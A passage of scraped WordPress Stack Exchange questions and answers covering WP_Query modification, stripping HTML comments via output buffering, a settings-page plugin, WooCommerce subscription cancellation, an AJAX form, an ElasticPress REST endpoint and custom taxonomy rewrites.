] | I'm attempting to design a theme for which all posts are always visible in a grid layout, using `index.php` as my single template. Even accessing a URL matching a single post would display all posts, only with the one matching the URL being highlighted in some way.
This works like a charm on the homepage (`http://example.com/`), but if I try to access a post (`http://example.com/mycategory/mypostname`) it shows nothing.
I've tried setting up a pre\_get\_posts hook like so:
```
function preGetPosts( $query ) {
if ( is_admin() || ! $query->is_main_query() )
return;
$query->set( 'posts_per_page', -1 );
$query->set( 'name', "" );
$query->set( 'category_name', "" );
return;
}
add_action( 'pre_get_posts', 'preGetPosts' );
```
But then my page displays no post at all. I've tried figuring it out by showing the SQL request in my template:
```
<?php echo $GLOBALS['wp_query']->request; ?>
```
...and the resulting SQL request is fine:
```
SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC
```
Even trying out the request in phpMyAdmin yields the correct list of all posts. I'm at a loss trying to understand what's preventing the loop from displaying these results.
Even the code that's hooked up to the `loop_start` action seems to be skipped entirely. Any ideas?
Thanks!
**EDIT:** if I dump `$GLOBALS['wp_query']` in my template just before the loop, I see:
```
["post_count"] => int(0)
["found_posts"] => int(23)
```
There are indeed 23 posts that should be displayed... what's the difference between found posts and the post count?
**EDIT:** The full query dump:
```
object(WP_Query)#390 (48) {
["query"]=>
array(3) {
["page"]=>
string(0) ""
["name"]=>
string(4) "sos3"
["category_name"]=>
string(8) "mixtapes"
}
["query_vars"]=>
array(65) {
["page"]=>
int(0)
["name"]=>
string(0) ""
["category_name"]=>
string(0) ""
["error"]=>
string(0) ""
["m"]=>
string(0) ""
["p"]=>
int(0)
["post_parent"]=>
string(0) ""
["subpost"]=>
string(0) ""
["subpost_id"]=>
string(0) ""
["attachment"]=>
string(0) ""
["attachment_id"]=>
int(0)
["static"]=>
string(0) ""
["pagename"]=>
string(0) ""
["page_id"]=>
int(0)
["second"]=>
string(0) ""
["minute"]=>
string(0) ""
["hour"]=>
string(0) ""
["day"]=>
int(0)
["monthnum"]=>
int(0)
["year"]=>
int(0)
["w"]=>
int(0)
["tag"]=>
string(0) ""
["cat"]=>
string(0) ""
["tag_id"]=>
string(0) ""
["author"]=>
string(0) ""
["author_name"]=>
string(0) ""
["feed"]=>
string(0) ""
["tb"]=>
string(0) ""
["paged"]=>
int(0)
["meta_key"]=>
string(0) ""
["meta_value"]=>
string(0) ""
["preview"]=>
string(0) ""
["s"]=>
string(0) ""
["sentence"]=>
string(0) ""
["title"]=>
string(0) ""
["fields"]=>
string(0) ""
["menu_order"]=>
string(0) ""
["embed"]=>
string(0) ""
["category__in"]=>
array(0) {
}
["category__not_in"]=>
array(0) {
}
["category__and"]=>
array(0) {
}
["post__in"]=>
array(0) {
}
["post__not_in"]=>
array(0) {
}
["post_name__in"]=>
array(0) {
}
["tag__in"]=>
array(0) {
}
["tag__not_in"]=>
array(0) {
}
["tag__and"]=>
array(0) {
}
["tag_slug__in"]=>
array(0) {
}
["tag_slug__and"]=>
array(0) {
}
["post_parent__in"]=>
array(0) {
}
["post_parent__not_in"]=>
array(0) {
}
["author__in"]=>
array(0) {
}
["author__not_in"]=>
array(0) {
}
["posts_per_page"]=>
int(-1)
["ignore_sticky_posts"]=>
bool(false)
["suppress_filters"]=>
bool(false)
["cache_results"]=>
bool(true)
["update_post_term_cache"]=>
bool(true)
["lazy_load_term_meta"]=>
bool(true)
["update_post_meta_cache"]=>
bool(true)
["post_type"]=>
string(0) ""
["nopaging"]=>
bool(true)
["comments_per_page"]=>
string(2) "50"
["no_found_rows"]=>
bool(false)
["order"]=>
string(4) "DESC"
}
["tax_query"]=>
NULL
["meta_query"]=>
object(WP_Meta_Query)#629 (9) {
["queries"]=>
array(0) {
}
["relation"]=>
NULL
["meta_table"]=>
NULL
["meta_id_column"]=>
NULL
["primary_table"]=>
NULL
["primary_id_column"]=>
NULL
["table_aliases":protected]=>
array(0) {
}
["clauses":protected]=>
array(0) {
}
["has_or_relation":protected]=>
bool(false)
}
["date_query"]=>
bool(false)
["request"]=>
string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC "
["posts"]=>
&array(0) {
}
["post_count"]=>
int(0)
["current_post"]=>
int(-1)
["in_the_loop"]=>
bool(false)
["comment_count"]=>
int(0)
["current_comment"]=>
int(-1)
["found_posts"]=>
int(23)
["max_num_pages"]=>
int(0)
["max_num_comment_pages"]=>
int(0)
["is_single"]=>
bool(false)
["is_preview"]=>
bool(false)
["is_page"]=>
bool(false)
["is_archive"]=>
bool(false)
["is_date"]=>
bool(false)
["is_year"]=>
bool(false)
["is_month"]=>
bool(false)
["is_day"]=>
bool(false)
["is_time"]=>
bool(false)
["is_author"]=>
bool(false)
["is_category"]=>
bool(false)
["is_tag"]=>
bool(false)
["is_tax"]=>
bool(false)
["is_search"]=>
bool(false)
["is_feed"]=>
bool(false)
["is_comment_feed"]=>
bool(false)
["is_trackback"]=>
bool(false)
["is_home"]=>
bool(false)
["is_404"]=>
bool(true)
["is_embed"]=>
bool(false)
["is_paged"]=>
bool(false)
["is_admin"]=>
bool(false)
["is_attachment"]=>
bool(false)
["is_singular"]=>
bool(false)
["is_robots"]=>
bool(false)
["is_posts_page"]=>
bool(false)
["is_post_type_archive"]=>
bool(false)
["query_vars_hash":"WP_Query":private]=>
string(32) "8932b0e7ba16b7a363737e0bb1065296"
["query_vars_changed":"WP_Query":private]=>
bool(true)
["thumbnails_cached"]=>
bool(false)
["stopwords":"WP_Query":private]=>
NULL
["compat_fields":"WP_Query":private]=>
array(2) {
[0]=>
string(15) "query_vars_hash"
[1]=>
string(18) "query_vars_changed"
}
["compat_methods":"WP_Query":private]=>
array(2) {
[0]=>
string(16) "init_query_flags"
[1]=>
string(15) "parse_tax_query"
}
}
``` | I ended up using the request filter, just like in the [documentation](https://codex.wordpress.org/Plugin_API/Filter_Reference/request):
```
function filterRequest( $request ) {
global $single_post_slug;
$dummy_query = new WP_Query(); // the query isn't run if we don't pass any query vars
$dummy_query->parse_query( $request );
if( $dummy_query->is_single() && !$dummy_query->is_admin() )
{
$single_post_slug = $request['name'];
$request['name'] = "";
$request['category_name'] = "";
}
return $request;
}
add_filter( 'request', 'filterRequest' );
```
It might not be the cleanest way, but I get to store the original query's slug to use it later. And I can avoid effecting the admin. I'm afraid this might effect secondary queries though, so I'm expecting trouble down the line :\ |
292,095 | <p>Is any easy method to remove all html comment like <code><!-- wp_head()--></code> from source from every pages and posts? Maybe using functions.php?
Is any easy method without plugin?</p>
| [
{
"answer_id": 292100,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": false,
"text": "<p>Here's a quick way to remove all comments using output buffering and <a href=\"https://secure.php.ne... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292095",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133900/"
] | Is any easy method to remove all html comment like `<!-- wp_head()-->` from source from every pages and posts? Maybe using functions.php?
Is any easy method without plugin? | Here's a quick way to remove all comments using output buffering and [`preg_replace`](https://secure.php.net/manual/en/function.preg-replace.php). We hook in before WordPress starts outputting the HTML to start the buffer. Then we hook in after WordPress stops outputting the HTML to get the buffer and strip the HTML comment tags from the content.
This code would ideally be in it's own plugin. But it could be in your functions.php if you're really adverse to adding more plugins.
```
namespace StackExchange\WordPress;
//* Start output buffering
function startOutputBuffer() {
ob_start();
}
//* Print the output buffer
function stopOutputBuffer() {
$html = ob_get_clean();
echo strip_html_comments( $html );
}
//* See note for attribution of this code
function strip_html_comments( string $html ) : string {
return preg_replace('/<!--(.*)-->/Uis', '', $html);
}
//* Add action before WordPress starts outputting content to start buffer
add_action( 'wp', __NAMESPACE__ . '\startOutputBuffer' );
//* Add action after WordPress stops outputting content to stop buffer
add_action( 'shutdown', __NAMESPACE__ . '\stopOutputBuffer' );
```
Note: Regex from this StackOverflow answer by [Benoit Villière](https://stackoverflow.com/a/3235781/6077935). |
292,105 | <p>I have a custom plugin, that creates an admin settings page, with 3 fields:</p>
<p>postIDs, pageIDs and Message.</p>
<p>I am trying to grab the first post displayed on the homepage list and add the contents of the field "message" to the beginning of the content. I'm doing this within a plugin, and I can't work out how to hook into the homepage posts list, get the first post there, and add the "Message" before the content then return it back.</p>
<p>I figured it was something to do with pre_get_posts hook - but I just can't work out the correct way to do it.</p>
<p>Here's the full PHP of the plugin, it all works, I just can't now work out the correct way to get the first post content :(</p>
<pre><code><?php
/*
Plugin Name: Custom HTML
Description: Custom HTML in Pages
Version: 1.0.0
*/
class Codeable_Fields_Plugin {
public function __construct() {
// Hook into the admin menu
add_action( 'admin_menu', array( $this, 'create_plugin_settings_page' ) );
// Add Settings and Fields
add_action( 'admin_init', array( $this, 'setup_sections' ) );
add_action( 'admin_init', array( $this, 'setup_fields' ) );
}
public function create_plugin_settings_page() {
// Add the menu item and page
$page_title = 'Custom HTML';
$menu_title = 'Custom HTML';
$capability = 'manage_options';
$slug = 'codeable_fields';
$callback = array( $this, 'plugin_settings_page_content' );
$position = 100;
add_menu_page( $page_title, $menu_title, $capability, $slug, $callback, $icon, $position );
}
public function plugin_settings_page_content() {?>
<div class="wrap">
<?php
if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] ){
$this->admin_notice();
} ?>
<form method="POST" action="options.php">
<?php
settings_fields( 'codeable_fields' );
do_settings_sections( 'codeable_fields' );
submit_button();
?>
</form>
</div> <?php
}
public function admin_notice() { ?>
<div class="notice notice-success is-dismissible">
<p>Your settings have been updated!</p>
</div><?php
}
public function setup_sections() {
add_settings_section( 'our_first_section', 'Custom HTML', array( $this, 'section_callback' ), 'codeable_fields' );
}
public function section_callback( $arguments ) {
switch( $arguments['id'] ){
case 'our_first_section':
echo '';
break;
}
}
public function setup_fields() {
$fields = array(
array(
'uid' => 'codeable_pages_field',
'label' => 'Page IDs to Exclude',
'section' => 'our_first_section',
'type' => 'text',
'supplimental' => 'Seperate by comma',
),
array(
'uid' => 'codeable_posts_field',
'label' => 'Post IDs to Exclude',
'section' => 'our_first_section',
'type' => 'text',
'supplimental' => 'Seperate by comma',
),
array(
'uid' => 'codeable_textarea',
'label' => 'Enter Text here',
'section' => 'our_first_section',
'type' => 'textarea',
)
);
foreach( $fields as $field ){
add_settings_field( $field['uid'], $field['label'], array( $this, 'field_callback' ), 'codeable_fields', $field['section'], $field );
register_setting( 'codeable_fields', $field['uid'] );
}
}
public function field_callback( $arguments ) {
$value = get_option( $arguments['uid'] );
if( ! $value ) {
$value = $arguments['default'];
}
switch( $arguments['type'] ){
case 'text':
case 'password':
case 'number':
printf( '<input name="%1$s" id="%1$s" type="%2$s" placeholder="%3$s" value="%4$s" />', $arguments['uid'], $arguments['type'], $arguments['placeholder'], $value );
break;
case 'textarea':
printf( '<textarea name="%1$s" id="%1$s" placeholder="%2$s" rows="5" cols="50">%3$s</textarea>', $arguments['uid'], $arguments['placeholder'], $value );
break;
case 'select':
case 'multiselect':
if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){
$attributes = '';
$options_markup = '';
foreach( $arguments['options'] as $key => $label ){
$options_markup .= sprintf( '<option value="%s" %s>%s</option>', $key, selected( $value[ array_search( $key, $value, true ) ], $key, false ), $label );
}
if( $arguments['type'] === 'multiselect' ){
$attributes = ' multiple="multiple" ';
}
printf( '<select name="%1$s[]" id="%1$s" %2$s>%3$s</select>', $arguments['uid'], $attributes, $options_markup );
}
break;
case 'radio':
case 'checkbox':
if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){
$options_markup = '';
$iterator = 0;
foreach( $arguments['options'] as $key => $label ){
$iterator++;
$options_markup .= sprintf( '<label for="%1$s_%6$s"><input id="%1$s_%6$s" name="%1$s[]" type="%2$s" value="%3$s" %4$s /> %5$s</label><br/>', $arguments['uid'], $arguments['type'], $key, checked( $value[ array_search( $key, $value, true ) ], $key, false ), $label, $iterator );
}
printf( '<fieldset>%s</fieldset>', $options_markup );
}
break;
}
if( $helper = $arguments['helper'] ){
printf( '<span class="helper"> %s</span>', $helper );
}
if( $supplimental = $arguments['supplimental'] ){
printf( '<p class="description">%s</p>', $supplimental );
}
}
}
}
new Codeable_Fields_Plugin();
add_action ('the_content', 'add_to_header');
function add_to_header(){
$postids = preg_split("/\s*,\s*/", get_option('codeable_posts_field'));
$pageids = preg_split("/\s*,\s*/", get_option('codeable_pages_field'));
if (is_single($postids )) {
$fullcontent = $content;
}
elseif (is_page($pageids)) {
$fullcontent = $content;
}
elseif (is_single() || is_page()) {
$beforecontent = get_option('codeable_textarea');
$fullcontent = $beforecontent . $content;
}
return $fullcontent;
}
</code></pre>
<p>Any help would be gratefully received!!</p>
| [
{
"answer_id": 292099,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>The <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect\" rel=\"nofollow noreferre... | 2018/01/24 | [
"https://wordpress.stackexchange.com/questions/292105",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111198/"
] | I have a custom plugin, that creates an admin settings page, with 3 fields:
postIDs, pageIDs and Message.
I am trying to grab the first post displayed on the homepage list and add the contents of the field "message" to the beginning of the content. I'm doing this within a plugin, and I can't work out how to hook into the homepage posts list, get the first post there, and add the "Message" before the content then return it back.
I figured it was something to do with pre\_get\_posts hook - but I just can't work out the correct way to do it.
Here's the full PHP of the plugin, it all works, I just can't now work out the correct way to get the first post content :(
```
<?php
/*
Plugin Name: Custom HTML
Description: Custom HTML in Pages
Version: 1.0.0
*/
class Codeable_Fields_Plugin {
public function __construct() {
// Hook into the admin menu
add_action( 'admin_menu', array( $this, 'create_plugin_settings_page' ) );
// Add Settings and Fields
add_action( 'admin_init', array( $this, 'setup_sections' ) );
add_action( 'admin_init', array( $this, 'setup_fields' ) );
}
public function create_plugin_settings_page() {
// Add the menu item and page
$page_title = 'Custom HTML';
$menu_title = 'Custom HTML';
$capability = 'manage_options';
$slug = 'codeable_fields';
$callback = array( $this, 'plugin_settings_page_content' );
$position = 100;
add_menu_page( $page_title, $menu_title, $capability, $slug, $callback, $icon, $position );
}
public function plugin_settings_page_content() {?>
<div class="wrap">
<?php
if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] ){
$this->admin_notice();
} ?>
<form method="POST" action="options.php">
<?php
settings_fields( 'codeable_fields' );
do_settings_sections( 'codeable_fields' );
submit_button();
?>
</form>
</div> <?php
}
public function admin_notice() { ?>
<div class="notice notice-success is-dismissible">
<p>Your settings have been updated!</p>
</div><?php
}
public function setup_sections() {
add_settings_section( 'our_first_section', 'Custom HTML', array( $this, 'section_callback' ), 'codeable_fields' );
}
public function section_callback( $arguments ) {
switch( $arguments['id'] ){
case 'our_first_section':
echo '';
break;
}
}
public function setup_fields() {
$fields = array(
array(
'uid' => 'codeable_pages_field',
'label' => 'Page IDs to Exclude',
'section' => 'our_first_section',
'type' => 'text',
'supplimental' => 'Seperate by comma',
),
array(
'uid' => 'codeable_posts_field',
'label' => 'Post IDs to Exclude',
'section' => 'our_first_section',
'type' => 'text',
'supplimental' => 'Seperate by comma',
),
array(
'uid' => 'codeable_textarea',
'label' => 'Enter Text here',
'section' => 'our_first_section',
'type' => 'textarea',
)
);
foreach( $fields as $field ){
add_settings_field( $field['uid'], $field['label'], array( $this, 'field_callback' ), 'codeable_fields', $field['section'], $field );
register_setting( 'codeable_fields', $field['uid'] );
}
}
public function field_callback( $arguments ) {
$value = get_option( $arguments['uid'] );
if( ! $value ) {
$value = $arguments['default'];
}
switch( $arguments['type'] ){
case 'text':
case 'password':
case 'number':
printf( '<input name="%1$s" id="%1$s" type="%2$s" placeholder="%3$s" value="%4$s" />', $arguments['uid'], $arguments['type'], $arguments['placeholder'], $value );
break;
case 'textarea':
printf( '<textarea name="%1$s" id="%1$s" placeholder="%2$s" rows="5" cols="50">%3$s</textarea>', $arguments['uid'], $arguments['placeholder'], $value );
break;
case 'select':
case 'multiselect':
if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){
$attributes = '';
$options_markup = '';
foreach( $arguments['options'] as $key => $label ){
$options_markup .= sprintf( '<option value="%s" %s>%s</option>', $key, selected( $value[ array_search( $key, $value, true ) ], $key, false ), $label );
}
if( $arguments['type'] === 'multiselect' ){
$attributes = ' multiple="multiple" ';
}
printf( '<select name="%1$s[]" id="%1$s" %2$s>%3$s</select>', $arguments['uid'], $attributes, $options_markup );
}
break;
case 'radio':
case 'checkbox':
if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){
$options_markup = '';
$iterator = 0;
foreach( $arguments['options'] as $key => $label ){
$iterator++;
$options_markup .= sprintf( '<label for="%1$s_%6$s"><input id="%1$s_%6$s" name="%1$s[]" type="%2$s" value="%3$s" %4$s /> %5$s</label><br/>', $arguments['uid'], $arguments['type'], $key, checked( $value[ array_search( $key, $value, true ) ], $key, false ), $label, $iterator );
}
printf( '<fieldset>%s</fieldset>', $options_markup );
}
break;
}
if( $helper = $arguments['helper'] ){
printf( '<span class="helper"> %s</span>', $helper );
}
if( $supplimental = $arguments['supplimental'] ){
printf( '<p class="description">%s</p>', $supplimental );
}
}
}
}
new Codeable_Fields_Plugin();
add_action ('the_content', 'add_to_header');
function add_to_header(){
$postids = preg_split("/\s*,\s*/", get_option('codeable_posts_field'));
$pageids = preg_split("/\s*,\s*/", get_option('codeable_pages_field'));
if (is_single($postids )) {
$fullcontent = $content;
}
elseif (is_page($pageids)) {
$fullcontent = $content;
}
elseif (is_single() || is_page()) {
$beforecontent = get_option('codeable_textarea');
$fullcontent = $beforecontent . $content;
}
return $fullcontent;
}
```
Any help would be gratefully received!! | The earliest action you can use is 'wp'. You can read more about it here: [Action WP](https://codex.wordpress.org/Plugin_API/Action_Reference/wp). |
292,149 | <p>I am in the process of building a membership/subscription based site for a client of mine and they are using woocommerce subscriptions (<a href="https://woocommerce.com/products/woocommerce-subscriptions" rel="nofollow noreferrer">https://woocommerce.com/products/woocommerce-subscriptions</a>). Now the problem is the client is building a few promo pages which basically allows the user to purchase an upgrade. Now, this is fine but the client only wants a customer to only have one subscription (and associating membership [<a href="https://woocommerce.com/products/woocommerce-memberships/]" rel="nofollow noreferrer">https://woocommerce.com/products/woocommerce-memberships/]</a>) at any one time. </p>
<p>So the agreed solution is that, on a purchase of any new subscription/product, all other subscriptions should be cancelled. All associated membership deleted/cancelled and only the latest subscription should remain active with its accompanying membership. </p>
<p>So I have tried to build this solution but it is just not working, so any advise/direction would be most welcome!</p>
<pre><code>function wp56908_new_order_housekeeping ($order_id)
{
$args = array(
'subscriptions_per_page' => -1,
'customer_id' => get_current_user_id(),
);
$subscriptions = wcs_get_subscriptions($args);
foreach ($subscriptions as $subscription) {
$s_order_id = method_exists( $subscription, 'get_parent_id' ) ? $subscription->get_parent_id() : $subscription->order->id;
if ($s_order_id != $order_id) {
$cancel_note = 'Customer purchased new subscription in order #' . $order_id;
$subscription->update_status( 'cancelled', $cancel_note );
}
}
}
</code></pre>
| [
{
"answer_id": 292099,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>The <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect\" rel=\"nofollow noreferre... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292149",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110204/"
] | I am in the process of building a membership/subscription based site for a client of mine and they are using woocommerce subscriptions (<https://woocommerce.com/products/woocommerce-subscriptions>). Now the problem is the client is building a few promo pages which basically allows the user to purchase an upgrade. Now, this is fine but the client only wants a customer to only have one subscription (and associating membership [<https://woocommerce.com/products/woocommerce-memberships/]>) at any one time.
So the agreed solution is that, on a purchase of any new subscription/product, all other subscriptions should be cancelled. All associated membership deleted/cancelled and only the latest subscription should remain active with its accompanying membership.
So I have tried to build this solution but it is just not working, so any advise/direction would be most welcome!
```
function wp56908_new_order_housekeeping ($order_id)
{
$args = array(
'subscriptions_per_page' => -1,
'customer_id' => get_current_user_id(),
);
$subscriptions = wcs_get_subscriptions($args);
foreach ($subscriptions as $subscription) {
$s_order_id = method_exists( $subscription, 'get_parent_id' ) ? $subscription->get_parent_id() : $subscription->order->id;
if ($s_order_id != $order_id) {
$cancel_note = 'Customer purchased new subscription in order #' . $order_id;
$subscription->update_status( 'cancelled', $cancel_note );
}
}
}
``` | The earliest action you can use is 'wp'. You can read more about it here: [Action WP](https://codex.wordpress.org/Plugin_API/Action_Reference/wp). |
292,151 | <p>I have a custom PHP template - form. I'm trying to send this form in the same page using AJAX without reloading the page. Hide the form after submission and display the <code>thank you</code> message. This form is displayed in a modal. But what happens is that the page is still reloading.</p>
<p><strong>HTML</strong></p>
<pre><code><form method="POST" action="" name="modalForm" id="modalForm" enctype="multipart/form-data" autocomplete="off">
<input placeholder="Last Name*" type="text" name="lastName" id="lastName" value="" required>
<label class="error" for="name" id="lastName_error">This field is required.</label>
<input placeholder="First Name*" type="text" name="firstName" id="firstName" value="" required>
<label class="error" for="name" id="firstName_error">This field is required.</label>
<input placeholder="Email Address" type="email" name="Email" id="Email" onblur="this.setAttribute('value', this.value);" value="" required>
<label class="error" for="email" id="email_error">This field is required.</label>
<span class="validation-text">Please enter a valid email address.</span>
<input placeholder="Mobile Number*" type="text" name="contactNumber" id="contactNumber" onkeypress="return isNumberKey(event)" value="" size="11" minlength="11" maxlength="11" pattern ="^09\d{9}$" required>
<label class="error" for="contactNumber" id="contactNumber_error">This field is required.</label>
<input type="submit" name="submit" value="Submit" id="form-submit">
</form>
</code></pre>
<p><strong>JS</strong></p>
<pre><code> (function($) {
$('.error').hide();
$(".button").click(function() {
// validate and process form here
$('.error').hide();
var name = $("input#lastName").val();
if (lastName == "") {
$("label#lastName_error").show();
$("input#lastName").focus();
return false;
}
var name = $("input#firstName").val();
if (lastName == "") {
$("label#firstName_error").show();
$("input#firstName").focus();
return false;
}
var email = $("input#Email").val();
if (Email == "") {
$("label#email_error").show();
$("input#Email").focus();
return false;
}
var phone = $("input#contactNumber").val();
if (contactNumber == "") {
$("label#contactNumber_error").show();
$("input#contactNumber").focus();
return false;
}
});
var dataString = 'lastName='+ lastName + '&Email=' + Email + '&contactNumber=' + contactNumber;
//alert (dataString);return false;
$.ajax({
type: "POST",
url: "/wordpress-page/",
data: dataString,
success: function() {
$('#modalForm').html("<div id='message'></div>");
$('#message').html("<h2>Contact Form Submitted!</h2>")
.append("<p>We will be in touch soon.</p>")
.hide()
.fadeIn(1500, function() {
$('#message').append("<img id='checkmark' src='images/check.png' />");
});
}
});
return false;
});
</code></pre>
| [
{
"answer_id": 292167,
"author": "janh",
"author_id": 129206,
"author_profile": "https://wordpress.stackexchange.com/users/129206",
"pm_score": 1,
"selected": false,
"text": "<p>Your jQuery event is bound to elements with the class <code>submit</code>, but your submit button in the form ... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292151",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54602/"
] | I have a custom PHP template - form. I'm trying to send this form in the same page using AJAX without reloading the page. Hide the form after submission and display the `thank you` message. This form is displayed in a modal. But what happens is that the page is still reloading.
**HTML**
```
<form method="POST" action="" name="modalForm" id="modalForm" enctype="multipart/form-data" autocomplete="off">
<input placeholder="Last Name*" type="text" name="lastName" id="lastName" value="" required>
<label class="error" for="name" id="lastName_error">This field is required.</label>
<input placeholder="First Name*" type="text" name="firstName" id="firstName" value="" required>
<label class="error" for="name" id="firstName_error">This field is required.</label>
<input placeholder="Email Address" type="email" name="Email" id="Email" onblur="this.setAttribute('value', this.value);" value="" required>
<label class="error" for="email" id="email_error">This field is required.</label>
<span class="validation-text">Please enter a valid email address.</span>
<input placeholder="Mobile Number*" type="text" name="contactNumber" id="contactNumber" onkeypress="return isNumberKey(event)" value="" size="11" minlength="11" maxlength="11" pattern ="^09\d{9}$" required>
<label class="error" for="contactNumber" id="contactNumber_error">This field is required.</label>
<input type="submit" name="submit" value="Submit" id="form-submit">
</form>
```
**JS**
```
(function($) {
$('.error').hide();
$(".button").click(function() {
// validate and process form here
$('.error').hide();
var name = $("input#lastName").val();
if (lastName == "") {
$("label#lastName_error").show();
$("input#lastName").focus();
return false;
}
var name = $("input#firstName").val();
if (lastName == "") {
$("label#firstName_error").show();
$("input#firstName").focus();
return false;
}
var email = $("input#Email").val();
if (Email == "") {
$("label#email_error").show();
$("input#Email").focus();
return false;
}
var phone = $("input#contactNumber").val();
if (contactNumber == "") {
$("label#contactNumber_error").show();
$("input#contactNumber").focus();
return false;
}
});
var dataString = 'lastName='+ lastName + '&Email=' + Email + '&contactNumber=' + contactNumber;
//alert (dataString);return false;
$.ajax({
type: "POST",
url: "/wordpress-page/",
data: dataString,
success: function() {
$('#modalForm').html("<div id='message'></div>");
$('#message').html("<h2>Contact Form Submitted!</h2>")
.append("<p>We will be in touch soon.</p>")
.hide()
.fadeIn(1500, function() {
$('#message').append("<img id='checkmark' src='images/check.png' />");
});
}
});
return false;
});
``` | Your jQuery event is bound to elements with the class `submit`, but your submit button in the form doesn't have that class.
Either add that class to the submit button, or just target the form itself. Simply change
```
$(".button").click(function() {
```
to
```
$("#modalForm").submit(function() {
```
This will fire when the form is submitted, whether the user clicks the submit button or simply hits enter in a text field. |
292,164 | <p>The AJAX, which is part of Elasticpress, looks like this</p>
<pre><code>$.ajax( {
url: epas.endpointUrl,
type: 'GET',
dataType: 'json',
crossDomain: true,
data: JSON.stringify( query )
} );
</code></pre>
<p>Additionally I registered my endpoint</p>
<pre><code>add_action( 'rest_api_init', function ( $data ) {
register_rest_route( 'elasticpress', '/autosuggest/', [
'methods' => 'GET',
'callback' => 'ep_autosuggest'
] );
} );
</code></pre>
<p>The callback looks like this</p>
<pre><code>function ep_autosuggest( $data ) {
// Elasticsearch PHP Client
$client = ClientBuilder::create()->build();
$params = [
'index' => 'index',
'type' => 'post',
'body' => $data
];
$response = $client->search( $params );
return $response;
}
</code></pre>
<p>The different parts work as they should. I'm struggling with getting the data from the passed object. Any ideas?</p>
| [
{
"answer_id": 292174,
"author": "Nicolai Grossherr",
"author_id": 22534,
"author_profile": "https://wordpress.stackexchange.com/users/22534",
"pm_score": 4,
"selected": true,
"text": "<p>After some inspecting the <a href=\"https://developer.wordpress.org/reference/classes/wp_rest_reques... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292164",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22534/"
] | The AJAX, which is part of Elasticpress, looks like this
```
$.ajax( {
url: epas.endpointUrl,
type: 'GET',
dataType: 'json',
crossDomain: true,
data: JSON.stringify( query )
} );
```
Additionally I registered my endpoint
```
add_action( 'rest_api_init', function ( $data ) {
register_rest_route( 'elasticpress', '/autosuggest/', [
'methods' => 'GET',
'callback' => 'ep_autosuggest'
] );
} );
```
The callback looks like this
```
function ep_autosuggest( $data ) {
// Elasticsearch PHP Client
$client = ClientBuilder::create()->build();
$params = [
'index' => 'index',
'type' => 'post',
'body' => $data
];
$response = $client->search( $params );
return $response;
}
```
The different parts work as they should. I'm struggling with getting the data from the passed object. Any ideas? | After some inspecting the [WP\_REST\_Request](https://developer.wordpress.org/reference/classes/wp_rest_request/), it turned out, that the `get_body()` method was the one I'm looking for. Anyhow, this is what I ended up with:
```
add_action( 'rest_api_init', function() {
register_rest_route( 'ep', '/as/', [
'methods' => \WP_REST_Server::CREATABLE,
'callback' => 'ep_autosuggest',
] );
} );
function ep_autosuggest( WP_REST_Request $data ) {
// Elasticsearch PHP Client
$client = ClientBuilder::create()->build();
$params = [
'index' => 'ep-test',
'type' => 'post',
'body' => $data->get_body()
];
$response = $client->search( $params );
return $response;
}
```
For anyone interested, I made a plugin out of it:
<https://github.com/grossherr/elasticpress-autosuggest-endpoint> |
292,188 | <p>I've been working with Custom Post Types and Custom Taxonomies for ages but one thing I can never get right are the rewrites when applying a shared taxonomy to multiple CPTs.</p>
<p>For instance, I have CPTs for 'Events' and 'Courses'. Each has individual taxonomies and also one shared taxonomy.</p>
<p>The individual taxonomies work fine: </p>
<ul>
<li>Events with a specific topic: <code>/events/topic/{term}/</code></li>
<li>Courses of a specific type: <code>/courses/type/{term}/</code></li>
</ul>
<p>However, I have a shared taxonomy called 'Accessibility Criteria'. With the custom taxonomy defined as it is below, I want (and would expect) to be able to filter each CPT by the shared taxonomy at different URLs:</p>
<ul>
<li>Events with specific accessibility criteria: <code>/events/accessibility/{term}/</code></li>
<li>Courses with specific accessibility criteria: <code>/courses/accessibility/{term}/</code></li>
</ul>
<p>But whenever I try and use /events/accessibility/{term}/ it gets rewritten as <code>/accessibility/{term}/</code>. Surprisingly (to me), the context is actually retained correctly e.g. if I trigger the taxonomy from the Events archive then only Event CPTs are shown, so the end-user experience still works fine. However, it doesn't sit comfortably with me as I feel it should work differently (as well as potentially better SEO etc).</p>
<p>I have defined the custom taxonomies before defining the CPTs as I have read that affects the ability of a CPT to use the taxonomy rewrite.</p>
<p>Any help much appreciated.</p>
<pre><code>$labels = array(
"name" => __('Accessibility Criteria', ''),
"singular_name" => __('Accessibility Criteria', ''),
"add_new_item" => __('Add Accessibility Criteria', ''),
"new_item_name" => __('Add Accessibility Criteria', ''),
"edit_item" => __('Edit Accessibility Criteria', ''),
"view_item" => __('View Accessibility Criteria', ''),
"update_item" => __('Update Accessibility Criteria', ''),
"parent_item" => __('Parent Criteria', '')
);
$args = array(
"label" => __('Accessibility Criteria', ''),
"labels" => $labels,
"public" => true,
"hierarchical" => true,
"label" => "Accessibility Criteria",
"show_ui" => true,
